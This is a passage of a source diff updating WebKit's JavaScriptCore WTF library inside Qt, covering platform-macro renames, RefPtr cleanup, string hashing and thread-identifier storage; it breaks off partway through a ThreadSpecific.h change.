 double weakRandomNumber()
@@ -47,6 +53,10 @@ double weakRandomNumber()
 #if COMPILER(MSVC) && defined(_CRT_RAND_S)
     // rand_s is incredibly slow on windows so we fall back on rand for Math.random
     return (rand() + (rand() / (RAND_MAX + 1.0))) / (RAND_MAX + 1.0);
+#elif PLATFORM(BREWMP)
+    uint32_t bits;
+    GETRAND(reinterpret_cast<byte*>(&bits), sizeof(uint32_t));
+    return static_cast<double>(bits) / (static_cast<double>(std::numeric_limits<uint32_t>::max()) + 1.0);
 #else
     return randomNumber();
 #endif
@@ -66,10 +76,10 @@ double randomNumber()
     uint32_t bits;
     rand_s(&bits);
     return static_cast<double>(bits) / (static_cast<double>(std::numeric_limits<uint32_t>::max()) + 1.0);
-#elif PLATFORM(DARWIN)
+#elif OS(DARWIN)
     uint32_t bits = arc4random();
     return static_cast<double>(bits) / (static_cast<double>(std::numeric_limits<uint32_t>::max()) + 1.0);
-#elif PLATFORM(UNIX)
+#elif OS(UNIX)
     uint32_t part1 = random() & (RAND_MAX - 1);
     uint32_t part2 = random() & (RAND_MAX - 1);
     // random only provides 31 bits
@@ -80,9 +90,9 @@ double randomNumber()
     // Mask off the low 53bits
     fullRandom &= (1LL << 53) - 1;
     return static_cast<double>(fullRandom)/static_cast<double>(1LL << 53);
-#elif PLATFORM(WINCE)
+#elif OS(WINCE)
     return genrand_res53();
-#elif PLATFORM(WIN_OS)
+#elif OS(WINDOWS)
     uint32_t part1 = rand() & (RAND_MAX - 1);
     uint32_t part2 = rand() & (RAND_MAX - 1);
     uint32_t part3 = rand() & (RAND_MAX - 1);
@@ -99,6 +109,16 @@ double randomNumber()
     // Mask off the low 53bits
     fullRandom &= (1LL << 53) - 1;
     return static_cast<double>(fullRandom)/static_cast<double>(1LL << 53);
+#elif PLATFORM(BREWMP)
+    uint32_t bits;
+    ISource* randomSource;
+
+    IShell* shell = reinterpret_cast<AEEApplet*>(GETAPPINSTANCE())->m_pIShell;
+    ISHELL_CreateInstance(shell, AEECLSID_RANDOM, reinterpret_cast<void**>(&randomSource));
+    ISOURCE_Read(randomSource, reinterpret_cast<char*>(&bits), 4);
+    ISOURCE_Release(randomSource);
+
+    return static_cast<double>(bits) / (static_cast<double>(std::numeric_limits<uint32_t>::max()) + 1.0);
 #else
     uint32_t part1 = rand() & (RAND_MAX - 1);
     uint32_t part2 = rand() & (RAND_MAX - 1);
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/RandomNumberSeed.h b/src/3rdparty/webkit/JavaScriptCore/wtf/RandomNumberSeed.h
index a66433e..ae414c0 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/RandomNumberSeed.h
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/RandomNumberSeed.h
@@ -33,12 +33,12 @@
 #include <sys/time.h>
 #endif
 
-#if PLATFORM(UNIX)
+#if OS(UNIX)
 #include <sys/types.h>
 #include <unistd.h>
 #endif
 
-#if PLATFORM(WINCE)
+#if OS(WINCE)
 extern "C" {
 void init_by_array(unsigned long init_key[],int key_length);
 }
@@ -49,9 +49,9 @@ namespace WTF {
 
 inline void initializeRandomNumberGenerator()
 {
-#if PLATFORM(DARWIN)
+#if OS(DARWIN)
     // On Darwin we use arc4random which initialises itself.
-#elif PLATFORM(WINCE)
+#elif OS(WINCE)
     // initialize rand()
     srand(static_cast<unsigned>(time(0)));
 
@@ -64,7 +64,7 @@ inline void initializeRandomNumberGenerator()
     init_by_array(initializationBuffer, 4);
 #elif COMPILER(MSVC) && defined(_CRT_RAND_S)
     // On Windows we use rand_s which initialises itself
-#elif PLATFORM(UNIX)
+#elif OS(UNIX)
     // srandomdev is not guaranteed to exist on linux so we use this poor seed, this should be improved
     timeval time;
     gettimeofday(&time, 0);
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/RefPtr.h b/src/3rdparty/webkit/JavaScriptCore/wtf/RefPtr.h
index 8388715..84e841c 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/RefPtr.h
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/RefPtr.h
@@ -24,6 +24,7 @@
 #include <algorithm>
 #include "AlwaysInline.h"
 #include "FastAllocBase.h"
+#include "PassRefPtr.h"
 
 namespace WTF {
 
@@ -50,13 +51,13 @@ namespace WTF {
         RefPtr(HashTableDeletedValueType) : m_ptr(hashTableDeletedValue()) { }
         bool isHashTableDeletedValue() const { return m_ptr == hashTableDeletedValue(); }
 
-        ~RefPtr() { T* ptr = m_ptr; derefIfNotNull(ptr); }
+        ~RefPtr() { derefIfNotNull(m_ptr); }
         
-        template <typename U> RefPtr(const RefPtr<U>& o) : m_ptr(static_cast<T*>(o.get())) { if (T* ptr = static_cast<T*>(m_ptr)) ptr->ref(); }
+        template <typename U> RefPtr(const RefPtr<U>& o) : m_ptr(o.get()) { T* ptr = m_ptr; refIfNotNull(ptr); }
         
         T* get() const { return m_ptr; }
         
-        void clear() { T* ptr = m_ptr; derefIfNotNull(ptr); m_ptr = 0; }
+        void clear() { derefIfNotNull(m_ptr); m_ptr = 0; }
         PassRefPtr<T> release() { PassRefPtr<T> tmp = adoptRef(m_ptr); m_ptr = 0; return tmp; }
 
         T& operator*() const { return *m_ptr; }
@@ -65,12 +66,8 @@ namespace WTF {
         bool operator!() const { return !m_ptr; }
     
         // This conversion operator allows implicit conversion to bool but not to other integer types.
-#if COMPILER(WINSCW)
-        operator bool() const { return m_ptr; }
-#else
-        typedef T* RefPtr::*UnspecifiedBoolType;
+        typedef T* (RefPtr::*UnspecifiedBoolType);
         operator UnspecifiedBoolType() const { return m_ptr ? &RefPtr::m_ptr : 0; }
-#endif
         
         RefPtr& operator=(const RefPtr&);
         RefPtr& operator=(T*);
@@ -139,8 +136,7 @@ namespace WTF {
     {
         T* ptr = m_ptr;
         m_ptr = o.releaseRef();
-        if (ptr)
-            ptr->deref();
+        derefIfNotNull(ptr);
         return *this;
     }
 
@@ -156,8 +152,7 @@ namespace WTF {
     {
         T* ptr = m_ptr;
         m_ptr = o.releaseRef();
-        if (ptr)
-            ptr->deref();
+        derefIfNotNull(ptr);
         return *this;
     }
 
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/RefPtrHashMap.h b/src/3rdparty/webkit/JavaScriptCore/wtf/RefPtrHashMap.h
index 9433025..7f6ebfe 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/RefPtrHashMap.h
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/RefPtrHashMap.h
@@ -285,7 +285,7 @@ namespace WTF {
     {
         if (it.m_impl == m_impl.end())
             return;
-        m_impl.checkTableConsistency();
+        m_impl.internalCheckTableConsistency();
         m_impl.removeWithoutEntryConsistencyCheck(it.m_impl);
     }
 
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/StdLibExtras.h b/src/3rdparty/webkit/JavaScriptCore/wtf/StdLibExtras.h
index c9b5742..96a929c 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/StdLibExtras.h
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/StdLibExtras.h
@@ -26,7 +26,6 @@
 #ifndef WTF_StdLibExtras_h
 #define WTF_StdLibExtras_h
 
-#include <wtf/Platform.h>
 #include <wtf/Assertions.h>
 
 // Use these to declare and define a static local variable (static T;) so that
@@ -48,6 +47,10 @@
 // NULL can cause compiler problems, especially in cases of multiple inheritance.
 #define OBJECT_OFFSETOF(class, field) (reinterpret_cast<ptrdiff_t>(&(reinterpret_cast<class*>(0x4000)->field)) - 0x4000)
 
+// STRINGIZE: Can convert any value to quoted string, even expandable macros
+#define STRINGIZE(exp) #exp
+#define STRINGIZE_VALUE_OF(exp) STRINGIZE(exp)
+
 namespace WTF {
 
     /*
@@ -65,6 +68,14 @@ namespace WTF {
         return u.to;
     }
 
+    // Returns a count of the number of bits set in 'bits'.
+    inline size_t bitCount(unsigned bits)
+    {
+        bits = bits - ((bits >> 1) & 0x55555555);
+        bits = (bits & 0x33333333) + ((bits >> 2) & 0x33333333);
+        return (((bits + (bits >> 4)) & 0xF0F0F0F) * 0x1010101) >> 24;
+    }
+
 } // namespace WTF
 
 #endif
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/StringExtras.cpp b/src/3rdparty/webkit/JavaScriptCore/wtf/StringExtras.cpp
new file mode 100644
index 0000000..1b96417
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/StringExtras.cpp
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2009 Company 100, Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
+ */
+
+#include "config.h"
+
+#if COMPILER(RVCT) && __ARMCC_VERSION < 400000
+
+#include "StringExtras.h"
+
+#include "ASCIICType.h"
+
+int strcasecmp(const char* s1, const char* s2)
+{
+    while (toASCIIUpper(*s1) == toASCIIUpper(*s2)) {
+        if (*s1 == '\0')
+            return 0;
+        s1++;
+        s2++;
+    }
+
+    return toASCIIUpper(*s1) - toASCIIUpper(*s2);
+}
+
+int strncasecmp(const char* s1, const char* s2, size_t len)
+{
+    while (len > 0 && toASCIIUpper(*s1) == toASCIIUpper(*s2)) {
+        if (*s1 == '\0')
+            return 0;
+        s1++;
+        s2++;
+        len--;
+    }
+
+    if (!len)
+        return 0;
+
+    return toASCIIUpper(*s1) - toASCIIUpper(*s2);
+}
+
+#endif
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/StringExtras.h b/src/3rdparty/webkit/JavaScriptCore/wtf/StringExtras.h
index 1120d65..b1ec09f 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/StringExtras.h
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/StringExtras.h
@@ -34,6 +34,7 @@
 #endif 
 
 #if COMPILER(MSVC)
+// FIXME: why a COMPILER check instead of OS? also, these should be HAVE checks
 
 inline int snprintf(char* buffer, size_t count, const char* format, ...) 
 {
@@ -45,7 +46,7 @@ inline int snprintf(char* buffer, size_t count, const char* format, ...)
     return result;
 }
 
-#if COMPILER(MSVC7) || PLATFORM(WINCE)
+#if COMPILER(MSVC7) || OS(WINCE)
 
 inline int vsnprintf(char* buffer, size_t count, const char* format, va_list args)
 {
@@ -54,7 +55,7 @@ inline int vsnprintf(char* buffer, size_t count, const char* format, va_list arg
 
 #endif
 
-#if PLATFORM(WINCE)
+#if OS(WINCE)
 
 inline int strnicmp(const char* string1, const char* string2, size_t count)
 {
@@ -85,7 +86,8 @@ inline int strcasecmp(const char* s1, const char* s2)
 
 #endif
 
-#if PLATFORM(WIN_OS) || PLATFORM(LINUX)
+#if OS(WINDOWS) || OS(LINUX) || OS(SOLARIS)
+// FIXME: should check HAVE_STRNSTR
 
 inline char* strnstr(const char* buffer, const char* target, size_t bufferLength)
 {
@@ -101,4 +103,11 @@ inline char* strnstr(const char* buffer, const char* target, size_t bufferLength
 
 #endif
 
+#if COMPILER(RVCT) && __ARMCC_VERSION < 400000
+
+int strcasecmp(const char* s1, const char* s2);
+int strncasecmp(const char* s1, const char* s2, size_t len);
+
+#endif
+
 #endif // WTF_StringExtras_h
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/StringHashFunctions.h b/src/3rdparty/webkit/JavaScriptCore/wtf/StringHashFunctions.h
new file mode 100644
index 0000000..07f117f
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/StringHashFunctions.h
@@ -0,0 +1,157 @@
+/*
+ * Copyright (C) 2005, 2006, 2008, 2010 Apple Inc. All rights reserved.
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Library General Public
+ * License as published by the Free Software Foundation; either
+ * version 2 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Library General Public License for more details.
+ *
+ * You should have received a copy of the GNU Library General Public License
+ * along with this library; see the file COPYING.LIB.  If not, write to
+ * the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
+ * Boston, MA 02110-1301, USA.
+ *
+ */
+#ifndef WTF_StringHashFunctions_h
+#define WTF_StringHashFunctions_h
+
+#include <wtf/unicode/Unicode.h>
+
+namespace WTF {
+
+// Golden ratio - arbitrary start value to avoid mapping all 0's to all 0's
+static const unsigned stringHashingStartValue = 0x9e3779b9U;
+
+// stringHash methods based on Paul Hsieh's SuperFastHash.
+// http://www.azillionmonkeys.com/qed/hash.html
+// char* data is interpreted as latin-encoded (zero extended to 16 bits).
+
+inline unsigned stringHash(const UChar* data, unsigned length)
+{
+    unsigned hash = WTF::stringHashingStartValue;
+    unsigned rem = length & 1;
+    length >>= 1;
+
+    // Main loop
+    for (; length > 0; length--) {
+        hash += data[0];
+        unsigned tmp = (data[1] << 11) ^ hash;
+        hash = (hash << 16) ^ tmp;
+        data += 2;
+        hash += hash >> 11;
+    }
+
+    // Handle end case
+    if (rem) {
+        hash += data[0];
+        hash ^= hash << 11;
+        hash += hash >> 17;
+    }
+
+    // Force "avalanching" of final 127 bits
+    hash ^= hash << 3;
+    hash += hash >> 5;
+    hash ^= hash << 2;
+    hash += hash >> 15;
+    hash ^= hash << 10;
+
+    hash &= 0x7fffffff;
+
+    // this avoids ever returning a hash code of 0, since that is used to
+    // signal "hash not computed yet", using a value that is likely to be
+    // effectively the same as 0 when the low bits are masked
+    if (hash == 0)
+        hash = 0x40000000;
+
+    return hash;
+}
+
+inline unsigned stringHash(const char* data, unsigned length)
+{
+    unsigned hash = WTF::stringHashingStartValue;
+    unsigned rem = length & 1;
+    length >>= 1;
+
+    // Main loop
+    for (; length > 0; length--) {
+        hash += static_cast<unsigned char>(data[0]);
+        unsigned tmp = (static_cast<unsigned char>(data[1]) << 11) ^ hash;
+        hash = (hash << 16) ^ tmp;
+        data += 2;
+        hash += hash >> 11;
+    }
+
+    // Handle end case
+    if (rem) {
+        hash += static_cast<unsigned char>(data[0]);
+        hash ^= hash << 11;
+        hash += hash >> 17;
+    }
+
+    // Force "avalanching" of final 127 bits
+    hash ^= hash << 3;
+    hash += hash >> 5;
+    hash ^= hash << 2;
+    hash += hash >> 15;
+    hash ^= hash << 10;
+
+    hash &= 0x7fffffff;
+
+    // this avoids ever returning a hash code of 0, since that is used to
+    // signal "hash not computed yet", using a value that is likely to be
+    // effectively the same as 0 when the low bits are masked
+    if (hash == 0)
+        hash = 0x40000000;
+
+    return hash;
+}
+
+inline unsigned stringHash(const char* data)
+{
+    unsigned hash = WTF::stringHashingStartValue;
+
+    // Main loop
+    for (;;) {
+        unsigned char b0 = data[0];
+        if (!b0)
+            break;
+        unsigned char b1 = data[1];
+        if (!b1) {
+            hash += b0;
+            hash ^= hash << 11;
+            hash += hash >> 17;
+            break;
+        }
+        hash += b0;
+        unsigned tmp = (b1 << 11) ^ hash;
+        hash = (hash << 16) ^ tmp;
+        data += 2;
+        hash += hash >> 11;
+    }
+
+    // Force "avalanching" of final 127 bits.
+    hash ^= hash << 3;
+    hash += hash >> 5;
+    hash ^= hash << 2;
+    hash += hash >> 15;
+    hash ^= hash << 10;
+
+    hash &= 0x7fffffff;
+
+    // This avoids ever returning a hash code of 0, since that is used to
+    // signal "hash not computed yet", using a value that is likely to be
+    // effectively the same as 0 when the low bits are masked.
+    if (hash == 0)
+        hash = 0x40000000;
+
+    return hash;
+}
+
+} // namespace WTF
+
+#endif // WTF_StringHashFunctions_h
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/TCSpinLock.h b/src/3rdparty/webkit/JavaScriptCore/wtf/TCSpinLock.h
index b8fce7e..8a73e13 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/TCSpinLock.h
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/TCSpinLock.h
@@ -33,13 +33,11 @@
 #ifndef TCMALLOC_INTERNAL_SPINLOCK_H__
 #define TCMALLOC_INTERNAL_SPINLOCK_H__
 
-#if (PLATFORM(X86) || PLATFORM(PPC)) && (COMPILER(GCC) || COMPILER(MSVC))
+#if (CPU(X86) || CPU(X86_64) || CPU(PPC)) && (COMPILER(GCC) || COMPILER(MSVC))
 
 #include <time.h>       /* For nanosleep() */
 
-#if !PLATFORM(WIN_OS)
 #include <sched.h>      /* For sched_yield() */
-#endif
 
 #if HAVE(STDINT_H)
 #include <stdint.h>
@@ -49,7 +47,7 @@
 #include <sys/types.h>
 #endif
 
-#if PLATFORM(WIN_OS)
+#if OS(WINDOWS)
 #ifndef WIN32_LEAN_AND_MEAN
 #define WIN32_LEAN_AND_MEAN
 #endif
@@ -64,7 +62,7 @@ struct TCMalloc_SpinLock {
   inline void Lock() {
     int r;
 #if COMPILER(GCC)
-#if PLATFORM(X86)
+#if CPU(X86) || CPU(X86_64)
     __asm__ __volatile__
       ("xchgl %0, %1"
        : "=r"(r), "=m"(lockword_)
@@ -94,7 +92,7 @@ struct TCMalloc_SpinLock {
 
   inline void Unlock() {
 #if COMPILER(GCC)
-#if PLATFORM(X86)
+#if CPU(X86) || CPU(X86_64)
     __asm__ __volatile__
       ("movl $0, %0"
        : "=m"(lockword_)
@@ -105,7 +103,7 @@ struct TCMalloc_SpinLock {
       ("isync\n\t"
        "eieio\n\t"
        "stw %1, %0"
-#if PLATFORM(DARWIN) || PLATFORM(PPC)
+#if OS(DARWIN) || CPU(PPC)
        : "=o" (lockword_)
 #else
        : "=m" (lockword_) 
@@ -136,15 +134,11 @@ struct TCMalloc_SpinLock {
 #define SPINLOCK_INITIALIZER { 0 }
 
 static void TCMalloc_SlowLock(volatile unsigned int* lockword) {
-#if !PLATFORM(WIN_OS)
   sched_yield();        // Yield immediately since fast path failed
-#else
-  SwitchToThread();
-#endif
   while (true) {
     int r;
 #if COMPILER(GCC)
-#if PLATFORM(X86)
+#if CPU(X86) || CPU(X86_64)
     __asm__ __volatile__
       ("xchgl %0, %1"
        : "=r"(r), "=m"(*lockword)
@@ -184,7 +178,7 @@ static void TCMalloc_SlowLock(volatile unsigned int* lockword) {
     // from taking 30 seconds to 16 seconds.
 
     // Sleep for a few milliseconds
-#if PLATFORM(WIN_OS)
+#if OS(WINDOWS)
     Sleep(2);
 #else
     struct timespec tm;
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/TCSystemAlloc.cpp b/src/3rdparty/webkit/JavaScriptCore/wtf/TCSystemAlloc.cpp
index 659bb0e..c46ff31 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/TCSystemAlloc.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/TCSystemAlloc.cpp
@@ -38,6 +38,7 @@
 #include "Assertions.h"
 #include "TCSpinLock.h"
 #include "UnusedParam.h"
+#include "VMTags.h"
 
 #if HAVE(STDINT_H)
 #include <stdint.h>
@@ -47,7 +48,7 @@
 #include <sys/types.h>
 #endif
 
-#if PLATFORM(WIN_OS)
+#if OS(WINDOWS)
 #include "windows.h"
 #else
 #include <errno.h>
@@ -178,7 +179,7 @@ static void* TryMmap(size_t size, size_t *actual_size, size_t alignment) {
   void* result = mmap(NULL, size + extra,
                       PROT_READ | PROT_WRITE,
                       MAP_PRIVATE|MAP_ANONYMOUS,
-                      -1, 0);
+                      VM_TAG_FOR_TCMALLOC_MEMORY, 0);
   if (result == reinterpret_cast<void*>(MAP_FAILED)) {
     mmap_failure = true;
     return NULL;
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/ThreadIdentifierDataPthreads.cpp b/src/3rdparty/webkit/JavaScriptCore/wtf/ThreadIdentifierDataPthreads.cpp
new file mode 100644
index 0000000..042d49e
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/ThreadIdentifierDataPthreads.cpp
@@ -0,0 +1,97 @@
+/*
+ * Copyright (C) 2009 Google Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are
+ * met:
+ *
+ *     * Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ *     * Redistributions in binary form must reproduce the above
+ * copyright notice, this list of conditions and the following disclaimer
+ * in the documentation and/or other materials provided with the
+ * distribution.
+ *     * Neither the name of Google Inc. nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+ * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+ * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+ * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+ * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#include "config.h"
+
+#if USE(PTHREADS)
+
+#include "ThreadIdentifierDataPthreads.h"
+
+#include "Threading.h"
+
+namespace WTF {
+
+pthread_key_t ThreadIdentifierData::m_key;
+
+void clearPthreadHandleForIdentifier(ThreadIdentifier);
+
+ThreadIdentifierData::~ThreadIdentifierData()
+{
+    clearPthreadHandleForIdentifier(m_identifier);
+}
+
+ThreadIdentifier ThreadIdentifierData::identifier()
+{
+    initializeKeyOnce();
+    ThreadIdentifierData* threadIdentifierData = static_cast<ThreadIdentifierData*>(pthread_getspecific(m_key));
+
+    return threadIdentifierData ? threadIdentifierData->m_identifier : 0;
+}
+
+void ThreadIdentifierData::initialize(ThreadIdentifier id)
+{
+    ASSERT(!identifier());
+
+    initializeKeyOnce();
+    pthread_setspecific(m_key, new ThreadIdentifierData(id));
+}
+
+void ThreadIdentifierData::destruct(void* data)
+{
+    ThreadIdentifierData* threadIdentifierData = static_cast<ThreadIdentifierData*>(data);
+    ASSERT(threadIdentifierData);
+
+    if (threadIdentifierData->m_isDestroyedOnce) {
+        delete threadIdentifierData;
+        return;
+    }
+
+    threadIdentifierData->m_isDestroyedOnce = true;
+    // Re-setting the value for key causes another destruct() call after all other thread-specific destructors were called.
+    pthread_setspecific(m_key, threadIdentifierData);
+}
+
+void ThreadIdentifierData::initializeKeyOnceHelper()
+{
+    if (pthread_key_create(&m_key, destruct))
+        CRASH();
+}
+
+void ThreadIdentifierData::initializeKeyOnce()
+{
+    static pthread_once_t onceControl = PTHREAD_ONCE_INIT;
+    if (pthread_once(&onceControl, initializeKeyOnceHelper))
+        CRASH();
+}
+
+} // namespace WTF
+
+#endif // USE(PTHREADS)
+
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/ThreadIdentifierDataPthreads.h b/src/3rdparty/webkit/JavaScriptCore/wtf/ThreadIdentifierDataPthreads.h
new file mode 100644
index 0000000..3af87a8
--- /dev/null
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/ThreadIdentifierDataPthreads.h
@@ -0,0 +1,77 @@
+/*
+ * Copyright (C) 2009 Google Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are
+ * met:
+ *
+ *     * Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ *     * Redistributions in binary form must reproduce the above
+ * copyright notice, this list of conditions and the following disclaimer
+ * in the documentation and/or other materials provided with the
+ * distribution.
+ *     * Neither the name of Google Inc. nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+ * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+ * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+ * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+ * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#ifndef ThreadIdentifierDataPthreads_h
+#define ThreadIdentifierDataPthreads_h
+
+#include <wtf/Noncopyable.h>
+#include <wtf/Threading.h>
+
+namespace WTF {
+
+// Holds ThreadIdentifier in the thread-specific storage and employs pthreads-specific 2-pass destruction to reliably remove
+// ThreadIdentifier from threadMap. It assumes regular ThreadSpecific types don't use multiple-pass destruction.
+class ThreadIdentifierData : public Noncopyable {
+public:
+    ~ThreadIdentifierData();
+
+    // Creates and puts an instance of ThreadIdentifierData into thread-specific storage.
+    static void initialize(ThreadIdentifier identifier);
+
+    // Returns 0 if thread-specific storage was not initialized.
+    static ThreadIdentifier identifier();
+
+private:
+    ThreadIdentifierData(ThreadIdentifier identifier)
+        : m_identifier(identifier)
+        , m_isDestroyedOnce(false)
+    {
+    }
+
+    // This thread-specific destructor is called 2 times when thread terminates:
+    // - first, when all the other thread-specific destructors are called, it simply remembers it was 'destroyed once'
+    // and re-sets itself into the thread-specific slot to make Pthreads to call it again later.
+    // - second, after all thread-specific destructors were invoked, it gets called again - this time, we remove the
+    // ThreadIdentifier from the threadMap, completing the cleanup.
+    static void destruct(void* data);
+
+    static void initializeKeyOnceHelper();
+    static void initializeKeyOnce();
+
+    ThreadIdentifier m_identifier;
+    bool m_isDestroyedOnce;
+    static pthread_key_t m_key;
+};
+
+} // namespace WTF
+
+#endif // ThreadIdentifierDataPthreads_h
+
+
diff --git a/src/3rdparty/webkit/JavaScriptCore/wtf/ThreadSpecific.h b/src/3rdparty/webkit/JavaScriptCore/wtf/ThreadSpecific.h
index b6f5fd3..7e5679f 100644
--- a/src/3rdparty/webkit/JavaScriptCore/wtf/ThreadSpecific.h
+++ b/src/3rdparty/webkit/JavaScriptCore/wtf/ThreadSpecific.h
@@ -47,13 +47,13 @@
 #include <pthread.h>
 #elif PLATFORM(QT)
 #include <QThreadStorage>
-#elif PLATFORM(WIN_OS)
+#elif OS(WINDOWS)
 #include <windows.h>
 #endif
 
 namespace WTF {
 
-#if !USE(PTHREADS) && !PLATFORM(QT) && PLATFORM(WIN_OS)
+#if !USE(PTHREADS) && !PLATFORM(QT) && OS(WINDOWS)
 // ThreadSpecificThreadExit should be called each time when a thread is detached.
 // This is done automatically for threads created with WTF::createThread.
 void ThreadSpecificThreadExit();
@@ -68,7 +68,7 @@ public:
     ~ThreadSpecific();
 
 private:
-#if !USE(PTHREADS) && !PLATFORM(QT) && PLATFORM(WIN_OS)
+#if !USE(PTHREADS) && !PLATFORM(QT) && OS(WINDOWS)
     friend void ThreadSpecificThreadExit();
 #endif
     
@@ -76,7 +76,7 @@ private:
     void set(T*);
     void static destroy(void* ptr);
 
-#if USE(PTHREADS) || PLATFORM(QT) || PLATFORM(WIN_OS)
+#if USE(PTHREADS) || PLATFORM(QT) || OS(WINDOWS)
     struct Data : Noncopyable {
         Data(T* value, ThreadSpecific<T>* owner) : value(value), owner(owner) {}
 #if PLATFORM(QT)
@@ -91,15 +91,44 @@ private:
     };
 #endif
 
+#if ENABLE(SINGLE_THREADED)
+    T* m_value;
+#else
 #if USE(PTHREADS)
     pthread_key_t m_key;
 #elif PLATFORM(QT)
     QThreadStorage<Data*> m_key;
-#elif PLATFORM(WIN_OS)
